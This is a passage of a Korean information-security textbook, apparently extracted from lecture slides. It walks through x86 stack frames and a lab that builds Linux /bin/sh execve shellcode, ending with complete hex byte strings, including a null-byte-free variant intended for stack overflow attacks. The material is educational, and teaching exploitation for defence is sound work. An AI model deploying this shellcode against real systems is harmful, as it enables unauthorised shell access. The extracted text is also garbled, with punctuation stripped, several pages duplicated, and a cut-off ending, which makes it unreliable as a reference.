어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 57: 80×86  시스템에 대한 이해

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

